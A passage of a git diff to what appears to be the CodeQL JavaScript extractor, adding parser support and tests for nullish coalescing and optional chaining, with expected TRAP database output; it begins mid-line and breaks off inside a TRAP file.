com.semmle.util.extraction.ExtractorOutputConfig; import com.semmle.util.files.FileUtil; import com.semmle.util.files.PathMatcher; import com.semmle.util.io.WholeIO; +import com.semmle.util.language.LegacyLanguage; import com.semmle.util.process.ArgsParser; import com.semmle.util.process.ArgsParser.FileMode; import com.semmle.util.trap.TrapWriter; @@ -41,7 +41,7 @@ public class Main { * such a way that it may produce different tuples for the same file under the same * {@link ExtractorConfig}. */ - public static final String EXTRACTOR_VERSION = "2018-11-12"; + public static final String EXTRACTOR_VERSION = "2018-12-19"; public static final Pattern NEWLINE = Pattern.compile("\n"); @@ -461,7 +461,7 @@ public class Main { public static void main(String[] args) { try { - new Main(new ExtractorOutputConfig(Language.JAVASCRIPT)).run(args); + new Main(new ExtractorOutputConfig(LegacyLanguage.JAVASCRIPT)).run(args); } catch (UserError e) { System.err.println(e.getMessage()); if (!e.reportAsInfoMessage()) diff --git a/javascript/extractor/src/com/semmle/js/extractor/test/TrapTests.java b/javascript/extractor/src/com/semmle/js/extractor/test/TrapTests.java index af1c05bb776..a0615f23146 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/test/TrapTests.java +++ b/javascript/extractor/src/com/semmle/js/extractor/test/TrapTests.java @@ -4,6 +4,9 @@ import java.io.File; import java.io.StringWriter; import java.nio.charset.Charset; import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.Comparator; import java.util.List; import java.util.Map.Entry; @@ -40,7 +43,9 @@ public class TrapTests { List testData = new ArrayList(); // iterate over all test groups - for (String testgroup : BASE.list()) { + List testGroups = Arrays.asList(BASE.list()); + testGroups.sort(Comparator.naturalOrder()); + for (String testgroup : testGroups) { File root = new File(BASE, testgroup); if (root.isDirectory()) { // check for options.json file and process it if it exists @@ -78,7 +83,9 @@ public class TrapTests { testData.add(new Object[] { testgroup, "tsconfig", new ArrayList(options) }); } else { // create isolated tests for each input file in the group - for (String testfile : inputDir.list()) { + List tests = Arrays.asList(inputDir.list()); + tests.sort(Comparator.naturalOrder()); + for (String testfile : tests) { testData.add(new Object[] { testgroup, testfile, new ArrayList(options) }); } } @@ -149,7 +156,13 @@ public class TrapTests { // convert to and from UTF-8 to mimick treatment of unencodable characters byte[] actual_utf8_bytes = StringUtil.stringToBytes(sw.toString()); String actual = new String(actual_utf8_bytes, Charset.forName("UTF-8")); - String expected = new WholeIO().strictreadText(new File(outputDir, f.getName() + ".trap")); + File trap = new File(outputDir, f.getName() + ".trap"); + boolean replaceExpectedOutput = false; + if (replaceExpectedOutput) { + System.out.println("Replacing expected output for " + trap); + new WholeIO().strictwrite(trap, actual); + } + String expected = new WholeIO().strictreadText(trap); expectedVsActual.add(Pair.make(expected, actual)); } }; diff --git a/javascript/extractor/src/com/semmle/js/parser/TypeScriptASTConverter.java b/javascript/extractor/src/com/semmle/js/parser/TypeScriptASTConverter.java index 862dfd33663..51cc396dec6 100644 --- a/javascript/extractor/src/com/semmle/js/parser/TypeScriptASTConverter.java +++ b/javascript/extractor/src/com/semmle/js/parser/TypeScriptASTConverter.java @@ -60,6 +60,7 @@ import com.semmle.js.ast.ImportSpecifier; import com.semmle.js.ast.InvokeExpression; import com.semmle.js.ast.LabeledStatement; import com.semmle.js.ast.Literal; +import com.semmle.js.ast.LogicalExpression; import com.semmle.js.ast.MemberDefinition; import com.semmle.js.ast.MemberExpression; import com.semmle.js.ast.DeclarationFlags; @@ -825,8 +826,9 @@ public class TypeScriptASTConverter { Expression left = convertChild(node, "left"); Expression right = convertChild(node, "right"); JsonObject operatorToken = node.get("operatorToken").getAsJsonObject(); - String operatorKind = getKind(operatorToken); - if ("CommaToken".equals(operatorKind)) { + String operator = getSourceLocation(operatorToken).getSource(); + switch (operator) { + case ",": List expressions = new ArrayList(); if (left instanceof SequenceExpression) expressions.addAll(((SequenceExpression) left).getExpressions()); @@ -837,10 +839,30 @@ public class TypeScriptASTConverter { else expressions.add(right); return new SequenceExpression(loc, expressions); - } else { - String operator = getSourceLocation(operatorToken).getSource(); - if ("EqualsToken".equals(operatorKind)) - left = convertLValue(left); + + case "||": + case "&&": + return new LogicalExpression(loc, operator, left, right); + + case "=": + left = convertLValue(left); // For plain assignments, the lhs can be a destructuring pattern. + return new AssignmentExpression(loc, operator, left, right); + + case "+=": + case "-=": + case "*=": + case "**=": + case "/=": + case "%=": + case "^=": + case "&=": + case "|=": + case ">>=": + case "<<=": + case ">>>=": + return new AssignmentExpression(loc, operator, convertLValue(left), right); + + default: return new BinaryExpression(loc, operator, left, right); } } @@ -860,7 +882,7 @@ public class TypeScriptASTConverter { } Expression callee = convertChild(node, "expression"); List typeArguments = convertChildrenAsTypes(node, "typeArguments"); - CallExpression call = new CallExpression(loc, callee, typeArguments, arguments); + CallExpression call = new CallExpression(loc, callee, typeArguments, arguments, false, false); attachResolvedSignature(call, node); return call; } @@ -1057,7 +1079,7 @@ public class TypeScriptASTConverter { SourceLocation loc) throws ParseError { Expression object = convertChild(node, "expression"); Expression property = convertChild(node, "argumentExpression"); - return new MemberExpression(loc, object, property, true); + return new MemberExpression(loc, object, property, true, false, false); } private Node convertEmptyStatement(SourceLocation loc) { @@ -1341,7 +1363,7 @@ public class TypeScriptASTConverter { } else { throw new ParseError("Unsupported syntax in import type", getSourceLocation(node).getStart()); } - MemberExpression member = new MemberExpression(getSourceLocation(node), (Expression) base, name, false); + MemberExpression member = new MemberExpression(getSourceLocation(node), (Expression) base, name, false, false, false); attachSymbolInformation(member, node); return member; } @@ -1612,7 +1634,7 @@ public class TypeScriptASTConverter { if (hasChild(element, "dotDotDotToken")) { propVal = new RestElement(eltLoc, propKey); } else if (hasChild(element, "initializer")) { - propVal = new AssignmentPattern(eltLoc, "=", propKey, convertChild(element, "initializer")); + propVal = new AssignmentPattern(eltLoc, "=", convertChild(element, "name"), convertChild(element, "initializer")); } else { propVal = convertChild(element, "name"); } @@ -1827,7 +1849,7 @@ public class TypeScriptASTConverter { private Node convertPropertyAccessExpression(JsonObject node, SourceLocation loc) throws ParseError { - return new MemberExpression(loc, convertChild(node, "expression"), convertChild(node, "name"), false); + return new MemberExpression(loc, convertChild(node, "expression"), convertChild(node, "name"), false, false, false); } private Node convertPropertyAssignment(JsonObject node, @@ -1868,7 +1890,7 @@ public class TypeScriptASTConverter { } private Node convertQualifiedName(JsonObject node, SourceLocation loc) throws ParseError { - MemberExpression expr = new MemberExpression(loc, convertChild(node, "left"), convertChild(node, "right"), false); + MemberExpression expr = new MemberExpression(loc, convertChild(node, "left"), convertChild(node, "right"), false, false, false); attachSymbolInformation(expr, node); return expr; } diff --git a/javascript/extractor/tests/esnext/input/nullish-coalescing.js b/javascript/extractor/tests/esnext/input/nullish-coalescing.js new file mode 100644 index 00000000000..de60ba17fc4 --- /dev/null +++ b/javascript/extractor/tests/esnext/input/nullish-coalescing.js @@ -0,0 +1,7 @@ +x1 ?? y1; + +x2 || y2 ?? z2; +x3 ?? y3 || z3; + +x4 && y4 ?? z4; +x5 ?? y5 && z5; \ No newline at end of file diff --git a/javascript/extractor/tests/esnext/input/optional-chaining.js b/javascript/extractor/tests/esnext/input/optional-chaining.js new file mode 100644 index 00000000000..9936a915690 --- /dev/null +++ b/javascript/extractor/tests/esnext/input/optional-chaining.js @@ -0,0 +1,13 @@ +a1?.b1; + +a2?.[x2]; + +a3?.b3(); + +a4?.(); + +o5?.3:2; + +a6?.b6[x6].c6?.(y6).d6; + +delete a?.b \ No newline at end of file diff --git a/javascript/extractor/tests/esnext/input/optional-chaining_bad1.js b/javascript/extractor/tests/esnext/input/optional-chaining_bad1.js new file mode 100644 index 00000000000..3a5a910b4fe --- /dev/null +++ b/javascript/extractor/tests/esnext/input/optional-chaining_bad1.js @@ -0,0 +1 @@ +new a?.(); \ No newline at end of file diff --git a/javascript/extractor/tests/esnext/input/optional-chaining_bad2.js b/javascript/extractor/tests/esnext/input/optional-chaining_bad2.js new file mode 100644 index 00000000000..c0fde8ceebf --- /dev/null +++ b/javascript/extractor/tests/esnext/input/optional-chaining_bad2.js @@ -0,0 +1 @@ +a?.`{b}`; \ No newline at end of file diff --git a/javascript/extractor/tests/esnext/input/optional-chaining_bad3.js b/javascript/extractor/tests/esnext/input/optional-chaining_bad3.js new file mode 100644 index 00000000000..7e36fa88843 --- /dev/null +++ b/javascript/extractor/tests/esnext/input/optional-chaining_bad3.js @@ -0,0 +1 @@ +new a?.b(); \ No newline at end of file diff --git a/javascript/extractor/tests/esnext/input/optional-chaining_bad4.js b/javascript/extractor/tests/esnext/input/optional-chaining_bad4.js new file mode 100644 index 00000000000..54461795988 --- /dev/null +++ b/javascript/extractor/tests/esnext/input/optional-chaining_bad4.js @@ -0,0 +1 @@ +a?.b`{c}`; \ No newline at end of file diff --git a/javascript/extractor/tests/esnext/input/optional-chaining_bad5.js b/javascript/extractor/tests/esnext/input/optional-chaining_bad5.js new file mode 100644 index 00000000000..66cac759708 --- /dev/null +++ b/javascript/extractor/tests/esnext/input/optional-chaining_bad5.js @@ -0,0 +1 @@ +a?.b = c; \ No newline at end of file diff --git a/javascript/extractor/tests/esnext/input/optional-chaining_bad6.js b/javascript/extractor/tests/esnext/input/optional-chaining_bad6.js new file mode 100644 index 00000000000..7d5eb2e9e73 --- /dev/null +++ b/javascript/extractor/tests/esnext/input/optional-chaining_bad6.js @@ -0,0 +1 @@ +new a.b?.c(); diff --git a/javascript/extractor/tests/esnext/input/optional-chaining_short-circuiting.js b/javascript/extractor/tests/esnext/input/optional-chaining_short-circuiting.js new file mode 100644 index 00000000000..659cbea8924 --- /dev/null +++ b/javascript/extractor/tests/esnext/input/optional-chaining_short-circuiting.js @@ -0,0 +1,29 @@ +a?.b.c(++x).d; + +a?.b[3].c?.(x).d; + +(a?.b).c; + +(a?.b.c).d; + +a?.[b?.c?.d].e?.f; + +a?.()[b?.().c?.().d].e?.().f; + +if (a?.b) { + true; +} else { + false; +} + +if (!a?.b) { + true; +} else { + false; +} + +if (a?.b && c?.d) { + true; +} else { + false; +} diff --git a/javascript/extractor/tests/esnext/output/trap/nullish-coalescing.js.trap b/javascript/extractor/tests/esnext/output/trap/nullish-coalescing.js.trap new file mode 100644 index 00000000000..0d7c8365d84 --- /dev/null +++ b/javascript/extractor/tests/esnext/output/trap/nullish-coalescing.js.trap @@ -0,0 +1,494 @@ +#10000=@"/nullish-coalescing.js;sourcefile" +files(#10000,"/nullish-coalescing.js","nullish-coalescing","js",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,7,15" +locations_default(#20002,#10000,1,1,7,15) +hasLocation(#20001,#20002) +#20003=* +stmts(#20003,2,#20001,0,"x1 ?? y1;") +#20004=@"loc,{#10000},1,1,1,9" +locations_default(#20004,#10000,1,1,1,9) +hasLocation(#20003,#20004) +stmtContainers(#20003,#20001) +#20005=* +exprs(#20005,107,#20003,0,"x1 ?? y1") +#20006=@"loc,{#10000},1,1,1,8" +locations_default(#20006,#10000,1,1,1,8) +hasLocation(#20005,#20006) +enclosingStmt(#20005,#20003) +exprContainers(#20005,#20001) +#20007=* +exprs(#20007,79,#20005,0,"x1") +#20008=@"loc,{#10000},1,1,1,2" +locations_default(#20008,#10000,1,1,1,2) +hasLocation(#20007,#20008) +enclosingStmt(#20007,#20003) +exprContainers(#20007,#20001) +literals("x1","x1",#20007) +#20009=@"var;{x1};{#20000}" +variables(#20009,"x1",#20000) +bind(#20007,#20009) +#20010=* +exprs(#20010,79,#20005,1,"y1") +#20011=@"loc,{#10000},1,7,1,8" +locations_default(#20011,#10000,1,7,1,8) +hasLocation(#20010,#20011) +enclosingStmt(#20010,#20003) +exprContainers(#20010,#20001) +literals("y1","y1",#20010) +#20012=@"var;{y1};{#20000}" +variables(#20012,"y1",#20000) +bind(#20010,#20012) +#20013=* +stmts(#20013,2,#20001,1,"x2 || y2 ?? z2;") +#20014=@"loc,{#10000},3,1,3,15" +locations_default(#20014,#10000,3,1,3,15) +hasLocation(#20013,#20014) +stmtContainers(#20013,#20001) +#20015=* +exprs(#20015,107,#20013,0,"x2 || y2 ?? z2") +#20016=@"loc,{#10000},3,1,3,14" +locations_default(#20016,#10000,3,1,3,14) +hasLocation(#20015,#20016) +enclosingStmt(#20015,#20013) +exprContainers(#20015,#20001) +#20017=* +exprs(#20017,45,#20015,0,"x2 || y2") +#20018=@"loc,{#10000},3,1,3,8" +locations_default(#20018,#10000,3,1,3,8) +hasLocation(#20017,#20018) +enclosingStmt(#20017,#20013) +exprContainers(#20017,#20001) +#20019=* +exprs(#20019,79,#20017,0,"x2") +#20020=@"loc,{#10000},3,1,3,2" +locations_default(#20020,#10000,3,1,3,2) +hasLocation(#20019,#20020) +enclosingStmt(#20019,#20013) +exprContainers(#20019,#20001) +literals("x2","x2",#20019) +#20021=@"var;{x2};{#20000}" +variables(#20021,"x2",#20000) +bind(#20019,#20021) +#20022=* +exprs(#20022,79,#20017,1,"y2") +#20023=@"loc,{#10000},3,7,3,8" +locations_default(#20023,#10000,3,7,3,8) +hasLocation(#20022,#20023) +enclosingStmt(#20022,#20013) +exprContainers(#20022,#20001) +literals("y2","y2",#20022) +#20024=@"var;{y2};{#20000}" +variables(#20024,"y2",#20000) +bind(#20022,#20024) +#20025=* +exprs(#20025,79,#20015,1,"z2") +#20026=@"loc,{#10000},3,13,3,14" +locations_default(#20026,#10000,3,13,3,14) +hasLocation(#20025,#20026) +enclosingStmt(#20025,#20013) +exprContainers(#20025,#20001) +literals("z2","z2",#20025) +#20027=@"var;{z2};{#20000}" +variables(#20027,"z2",#20000) +bind(#20025,#20027) +#20028=* +stmts(#20028,2,#20001,2,"x3 ?? y3 || z3;") +#20029=@"loc,{#10000},4,1,4,15" +locations_default(#20029,#10000,4,1,4,15) +hasLocation(#20028,#20029) +stmtContainers(#20028,#20001) +#20030=* +exprs(#20030,45,#20028,0,"x3 ?? y3 || z3") +#20031=@"loc,{#10000},4,1,4,14" +locations_default(#20031,#10000,4,1,4,14) +hasLocation(#20030,#20031) +enclosingStmt(#20030,#20028) +exprContainers(#20030,#20001) +#20032=* +exprs(#20032,107,#20030,0,"x3 ?? y3") +#20033=@"loc,{#10000},4,1,4,8" +locations_default(#20033,#10000,4,1,4,8) +hasLocation(#20032,#20033) +enclosingStmt(#20032,#20028) +exprContainers(#20032,#20001) +#20034=* +exprs(#20034,79,#20032,0,"x3") +#20035=@"loc,{#10000},4,1,4,2" +locations_default(#20035,#10000,4,1,4,2) +hasLocation(#20034,#20035) +enclosingStmt(#20034,#20028) +exprContainers(#20034,#20001) +literals("x3","x3",#20034) +#20036=@"var;{x3};{#20000}" +variables(#20036,"x3",#20000) +bind(#20034,#20036) +#20037=* +exprs(#20037,79,#20032,1,"y3") +#20038=@"loc,{#10000},4,7,4,8" +locations_default(#20038,#10000,4,7,4,8) +hasLocation(#20037,#20038) +enclosingStmt(#20037,#20028) +exprContainers(#20037,#20001) +literals("y3","y3",#20037) +#20039=@"var;{y3};{#20000}" +variables(#20039,"y3",#20000) +bind(#20037,#20039) +#20040=* +exprs(#20040,79,#20030,1,"z3") +#20041=@"loc,{#10000},4,13,4,14" +locations_default(#20041,#10000,4,13,4,14) +hasLocation(#20040,#20041) +enclosingStmt(#20040,#20028) +exprContainers(#20040,#20001) +literals("z3","z3",#20040) +#20042=@"var;{z3};{#20000}" +variables(#20042,"z3",#20000) +bind(#20040,#20042) +#20043=* +stmts(#20043,2,#20001,3,"x4 && y4 ?? z4;") +#20044=@"loc,{#10000},6,1,6,15" +locations_default(#20044,#10000,6,1,6,15) +hasLocation(#20043,#20044) +stmtContainers(#20043,#20001) +#20045=* +exprs(#20045,107,#20043,0,"x4 && y4 ?? z4") +#20046=@"loc,{#10000},6,1,6,14" +locations_default(#20046,#10000,6,1,6,14) +hasLocation(#20045,#20046) +enclosingStmt(#20045,#20043) +exprContainers(#20045,#20001) +#20047=* +exprs(#20047,44,#20045,0,"x4 && y4") +#20048=@"loc,{#10000},6,1,6,8" +locations_default(#20048,#10000,6,1,6,8) +hasLocation(#20047,#20048) +enclosingStmt(#20047,#20043) +exprContainers(#20047,#20001) +#20049=* +exprs(#20049,79,#20047,0,"x4") +#20050=@"loc,{#10000},6,1,6,2" +locations_default(#20050,#10000,6,1,6,2) +hasLocation(#20049,#20050) +enclosingStmt(#20049,#20043) +exprContainers(#20049,#20001) +literals("x4","x4",#20049) +#20051=@"var;{x4};{#20000}" +variables(#20051,"x4",#20000) +bind(#20049,#20051) +#20052=* +exprs(#20052,79,#20047,1,"y4") +#20053=@"loc,{#10000},6,7,6,8" +locations_default(#20053,#10000,6,7,6,8) +hasLocation(#20052,#20053) +enclosingStmt(#20052,#20043) +exprContainers(#20052,#20001) +literals("y4","y4",#20052) +#20054=@"var;{y4};{#20000}" +variables(#20054,"y4",#20000) +bind(#20052,#20054) +#20055=* +exprs(#20055,79,#20045,1,"z4") +#20056=@"loc,{#10000},6,13,6,14" +locations_default(#20056,#10000,6,13,6,14) +hasLocation(#20055,#20056) +enclosingStmt(#20055,#20043) +exprContainers(#20055,#20001) +literals("z4","z4",#20055) +#20057=@"var;{z4};{#20000}" +variables(#20057,"z4",#20000) +bind(#20055,#20057) +#20058=* +stmts(#20058,2,#20001,4,"x5 ?? y5 && z5;") +#20059=@"loc,{#10000},7,1,7,15" +locations_default(#20059,#10000,7,1,7,15) +hasLocation(#20058,#20059) +stmtContainers(#20058,#20001) +#20060=* +exprs(#20060,107,#20058,0,"x5 ?? y5 && z5") +#20061=@"loc,{#10000},7,1,7,14" +locations_default(#20061,#10000,7,1,7,14) +hasLocation(#20060,#20061) +enclosingStmt(#20060,#20058) +exprContainers(#20060,#20001) +#20062=* +exprs(#20062,79,#20060,0,"x5") +#20063=@"loc,{#10000},7,1,7,2" +locations_default(#20063,#10000,7,1,7,2) +hasLocation(#20062,#20063) +enclosingStmt(#20062,#20058) +exprContainers(#20062,#20001) +literals("x5","x5",#20062) +#20064=@"var;{x5};{#20000}" +variables(#20064,"x5",#20000) +bind(#20062,#20064) +#20065=* +exprs(#20065,44,#20060,1,"y5 && z5") +#20066=@"loc,{#10000},7,7,7,14" +locations_default(#20066,#10000,7,7,7,14) +hasLocation(#20065,#20066) +enclosingStmt(#20065,#20058) +exprContainers(#20065,#20001) +#20067=* +exprs(#20067,79,#20065,0,"y5") +#20068=@"loc,{#10000},7,7,7,8" +locations_default(#20068,#10000,7,7,7,8) +hasLocation(#20067,#20068) +enclosingStmt(#20067,#20058) +exprContainers(#20067,#20001) +literals("y5","y5",#20067) +#20069=@"var;{y5};{#20000}" +variables(#20069,"y5",#20000) +bind(#20067,#20069) +#20070=* +exprs(#20070,79,#20065,1,"z5") +#20071=@"loc,{#10000},7,13,7,14" +locations_default(#20071,#10000,7,13,7,14) +hasLocation(#20070,#20071) +enclosingStmt(#20070,#20058) +exprContainers(#20070,#20001) +literals("z5","z5",#20070) +#20072=@"var;{z5};{#20000}" +variables(#20072,"z5",#20000) +bind(#20070,#20072) +#20073=* +lines(#20073,#20001,"x1 ?? y1;"," +") +hasLocation(#20073,#20004) +#20074=* +lines(#20074,#20001,""," +") +#20075=@"loc,{#10000},2,1,2,0" +locations_default(#20075,#10000,2,1,2,0) +hasLocation(#20074,#20075) +#20076=* +lines(#20076,#20001,"x2 || y2 ?? z2;"," +") +hasLocation(#20076,#20014) +#20077=* +lines(#20077,#20001,"x3 ?? y3 || z3;"," +") +hasLocation(#20077,#20029) +#20078=* +lines(#20078,#20001,""," +") +#20079=@"loc,{#10000},5,1,5,0" +locations_default(#20079,#10000,5,1,5,0) +hasLocation(#20078,#20079) +#20080=* +lines(#20080,#20001,"x4 && y4 ?? z4;"," +") +hasLocation(#20080,#20044) +#20081=* +lines(#20081,#20001,"x5 ?? y5 && z5;","") +hasLocation(#20081,#20059) +numlines(#20001,7,5,0) +#20082=* +tokeninfo(#20082,6,#20001,0,"x1") +hasLocation(#20082,#20008) +#20083=* +tokeninfo(#20083,8,#20001,1,"??") +#20084=@"loc,{#10000},1,4,1,5" +locations_default(#20084,#10000,1,4,1,5) +hasLocation(#20083,#20084) +#20085=* +tokeninfo(#20085,6,#20001,2,"y1") +hasLocation(#20085,#20011) +#20086=* +tokeninfo(#20086,8,#20001,3,";") +#20087=@"loc,{#10000},1,9,1,9" +locations_default(#20087,#10000,1,9,1,9) +hasLocation(#20086,#20087) +#20088=* +tokeninfo(#20088,6,#20001,4,"x2") +hasLocation(#20088,#20020) +#20089=* +tokeninfo(#20089,8,#20001,5,"||") +#20090=@"loc,{#10000},3,4,3,5" +locations_default(#20090,#10000,3,4,3,5) +hasLocation(#20089,#20090) +#20091=* +tokeninfo(#20091,6,#20001,6,"y2") +hasLocation(#20091,#20023) +#20092=* +tokeninfo(#20092,8,#20001,7,"??") +#20093=@"loc,{#10000},3,10,3,11" +locations_default(#20093,#10000,3,10,3,11) +hasLocation(#20092,#20093) +#20094=* +tokeninfo(#20094,6,#20001,8,"z2") +hasLocation(#20094,#20026) +#20095=* +tokeninfo(#20095,8,#20001,9,";") +#20096=@"loc,{#10000},3,15,3,15" +locations_default(#20096,#10000,3,15,3,15) +hasLocation(#20095,#20096) +#20097=* +tokeninfo(#20097,6,#20001,10,"x3") +hasLocation(#20097,#20035) +#20098=* +tokeninfo(#20098,8,#20001,11,"??") +#20099=@"loc,{#10000},4,4,4,5" +locations_default(#20099,#10000,4,4,4,5) +hasLocation(#20098,#20099) +#20100=* +tokeninfo(#20100,6,#20001,12,"y3") +hasLocation(#20100,#20038) +#20101=* +tokeninfo(#20101,8,#20001,13,"||") +#20102=@"loc,{#10000},4,10,4,11" +locations_default(#20102,#10000,4,10,4,11) +hasLocation(#20101,#20102) +#20103=* +tokeninfo(#20103,6,#20001,14,"z3") +hasLocation(#20103,#20041) +#20104=* +tokeninfo(#20104,8,#20001,15,";") +#20105=@"loc,{#10000},4,15,4,15" +locations_default(#20105,#10000,4,15,4,15) +hasLocation(#20104,#20105) +#20106=* +tokeninfo(#20106,6,#20001,16,"x4") +hasLocation(#20106,#20050) +#20107=* +tokeninfo(#20107,8,#20001,17,"&&") +#20108=@"loc,{#10000},6,4,6,5" +locations_default(#20108,#10000,6,4,6,5) +hasLocation(#20107,#20108) +#20109=* +tokeninfo(#20109,6,#20001,18,"y4") +hasLocation(#20109,#20053) +#20110=* +tokeninfo(#20110,8,#20001,19,"??") +#20111=@"loc,{#10000},6,10,6,11" +locations_default(#20111,#10000,6,10,6,11) +hasLocation(#20110,#20111) +#20112=* +tokeninfo(#20112,6,#20001,20,"z4") +hasLocation(#20112,#20056) +#20113=* +tokeninfo(#20113,8,#20001,21,";") +#20114=@"loc,{#10000},6,15,6,15" +locations_default(#20114,#10000,6,15,6,15) +hasLocation(#20113,#20114) +#20115=* +tokeninfo(#20115,6,#20001,22,"x5") +hasLocation(#20115,#20063) +#20116=* +tokeninfo(#20116,8,#20001,23,"??") +#20117=@"loc,{#10000},7,4,7,5" +locations_default(#20117,#10000,7,4,7,5) +hasLocation(#20116,#20117) +#20118=* +tokeninfo(#20118,6,#20001,24,"y5") +hasLocation(#20118,#20068) +#20119=* +tokeninfo(#20119,8,#20001,25,"&&") +#20120=@"loc,{#10000},7,10,7,11" +locations_default(#20120,#10000,7,10,7,11) +hasLocation(#20119,#20120) +#20121=* +tokeninfo(#20121,6,#20001,26,"z5") +hasLocation(#20121,#20071) +#20122=* +tokeninfo(#20122,8,#20001,27,";") +#20123=@"loc,{#10000},7,15,7,15" +locations_default(#20123,#10000,7,15,7,15) +hasLocation(#20122,#20123) +#20124=* +tokeninfo(#20124,0,#20001,28,"") +#20125=@"loc,{#10000},7,16,7,15" +locations_default(#20125,#10000,7,16,7,15) +hasLocation(#20124,#20125) +#20126=* +entry_cfg_node(#20126,#20001) +#20127=@"loc,{#10000},1,1,1,0" +locations_default(#20127,#10000,1,1,1,0) +hasLocation(#20126,#20127) +#20128=* +exit_cfg_node(#20128,#20001) +hasLocation(#20128,#20125) +successor(#20058,#20060) +successor(#20060,#20062) +successor(#20062,#20065) +successor(#20062,#20128) +successor(#20065,#20067) +#20129=* +guard_node(#20129,1,#20067) +hasLocation(#20129,#20068) +successor(#20129,#20070) +#20130=* +guard_node(#20130,0,#20067) +hasLocation(#20130,#20068) +successor(#20130,#20128) +successor(#20067,#20129) +successor(#20067,#20130) +successor(#20070,#20128) +successor(#20043,#20045) +successor(#20045,#20047) +successor(#20047,#20049) +#20131=* +guard_node(#20131,1,#20049) +hasLocation(#20131,#20050) +successor(#20131,#20052) +#20132=* +guard_node(#20132,0,#20049) +hasLocation(#20132,#20050) +successor(#20132,#20055) +successor(#20132,#20058) +successor(#20049,#20131) +successor(#20049,#20132) +successor(#20052,#20055) +successor(#20052,#20058) +successor(#20055,#20058) +successor(#20028,#20030) +successor(#20030,#20032) +successor(#20032,#20034) +successor(#20034,#20037) +successor(#20034,#20043) +successor(#20034,#20040) +#20133=* +guard_node(#20133,1,#20037) +hasLocation(#20133,#20038) +successor(#20133,#20043) +#20134=* +guard_node(#20134,0,#20037) +hasLocation(#20134,#20038) +successor(#20134,#20040) +successor(#20037,#20133) +successor(#20037,#20134) +successor(#20040,#20043) +successor(#20013,#20015) +successor(#20015,#20017) +successor(#20017,#20019) +#20135=* +guard_node(#20135,1,#20019) +hasLocation(#20135,#20020) +successor(#20135,#20025) +successor(#20135,#20028) +#20136=* +guard_node(#20136,0,#20019) +hasLocation(#20136,#20020) +successor(#20136,#20022) +successor(#20019,#20135) +successor(#20019,#20136) +successor(#20022,#20025) +successor(#20022,#20028) +successor(#20025,#20028) +successor(#20003,#20005) +successor(#20005,#20007) +successor(#20007,#20010) +successor(#20007,#20013) +successor(#20010,#20013) +successor(#20126,#20003) +numlines(#10000,7,5,0) +filetype(#10000,"javascript") diff --git a/javascript/extractor/tests/esnext/output/trap/optional-chaining.js.trap b/javascript/extractor/tests/esnext/output/trap/optional-chaining.js.trap new file mode 100644 index 00000000000..cc949812b60 --- /dev/null +++ b/javascript/extractor/tests/esnext/output/trap/optional-chaining.js.trap @@ -0,0 +1,655 @@ +#10000=@"/optional-chaining.js;sourcefile" +files(#10000,"/optional-chaining.js","optional-chaining","js",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,13,11" +locations_default(#20002,#10000,1,1,13,11) +hasLocation(#20001,#20002) +#20003=* +stmts(#20003,2,#20001,0,"a1?.b1;") +#20004=@"loc,{#10000},1,1,1,7" +locations_default(#20004,#10000,1,1,1,7) +hasLocation(#20003,#20004) +stmtContainers(#20003,#20001) +#20005=* +exprs(#20005,14,#20003,0,"a1?.b1") +#20006=@"loc,{#10000},1,1,1,6" +locations_default(#20006,#10000,1,1,1,6) +hasLocation(#20005,#20006) +enclosingStmt(#20005,#20003) +exprContainers(#20005,#20001) +#20007=* +exprs(#20007,79,#20005,0,"a1") +#20008=@"loc,{#10000},1,1,1,2" +locations_default(#20008,#10000,1,1,1,2) +hasLocation(#20007,#20008) +enclosingStmt(#20007,#20003) +exprContainers(#20007,#20001) +literals("a1","a1",#20007) +#20009=@"var;{a1};{#20000}" +variables(#20009,"a1",#20000) +bind(#20007,#20009) +#20010=* +exprs(#20010,0,#20005,1,"b1") +#20011=@"loc,{#10000},1,5,1,6" +locations_default(#20011,#10000,1,5,1,6) +hasLocation(#20010,#20011) +enclosingStmt(#20010,#20003) +exprContainers(#20010,#20001) +literals("b1","b1",#20010) +isOptionalChaining(#20005) +#20012=* +stmts(#20012,2,#20001,1,"a2?.[x2];") +#20013=@"loc,{#10000},3,1,3,9" +locations_default(#20013,#10000,3,1,3,9) +hasLocation(#20012,#20013) +stmtContainers(#20012,#20001) +#20014=* +exprs(#20014,15,#20012,0,"a2?.[x2]") +#20015=@"loc,{#10000},3,1,3,8" +locations_default(#20015,#10000,3,1,3,8) +hasLocation(#20014,#20015) +enclosingStmt(#20014,#20012) +exprContainers(#20014,#20001) +#20016=* +exprs(#20016,79,#20014,0,"a2") +#20017=@"loc,{#10000},3,1,3,2" +locations_default(#20017,#10000,3,1,3,2) +hasLocation(#20016,#20017) +enclosingStmt(#20016,#20012) +exprContainers(#20016,#20001) +literals("a2","a2",#20016) +#20018=@"var;{a2};{#20000}" +variables(#20018,"a2",#20000) +bind(#20016,#20018) +#20019=* +exprs(#20019,79,#20014,1,"x2") +#20020=@"loc,{#10000},3,6,3,7" +locations_default(#20020,#10000,3,6,3,7) +hasLocation(#20019,#20020) +enclosingStmt(#20019,#20012) +exprContainers(#20019,#20001) +literals("x2","x2",#20019) +#20021=@"var;{x2};{#20000}" +variables(#20021,"x2",#20000) +bind(#20019,#20021) +isOptionalChaining(#20014) +#20022=* +stmts(#20022,2,#20001,2,"a3?.b3();") +#20023=@"loc,{#10000},5,1,5,9" +locations_default(#20023,#10000,5,1,5,9) +hasLocation(#20022,#20023) +stmtContainers(#20022,#20001) +#20024=* +exprs(#20024,13,#20022,0,"a3?.b3()") +#20025=@"loc,{#10000},5,1,5,8" +locations_default(#20025,#10000,5,1,5,8) +hasLocation(#20024,#20025) +enclosingStmt(#20024,#20022) +exprContainers(#20024,#20001) +#20026=* +exprs(#20026,14,#20024,-1,"a3?.b3") +#20027=@"loc,{#10000},5,1,5,6" +locations_default(#20027,#10000,5,1,5,6) 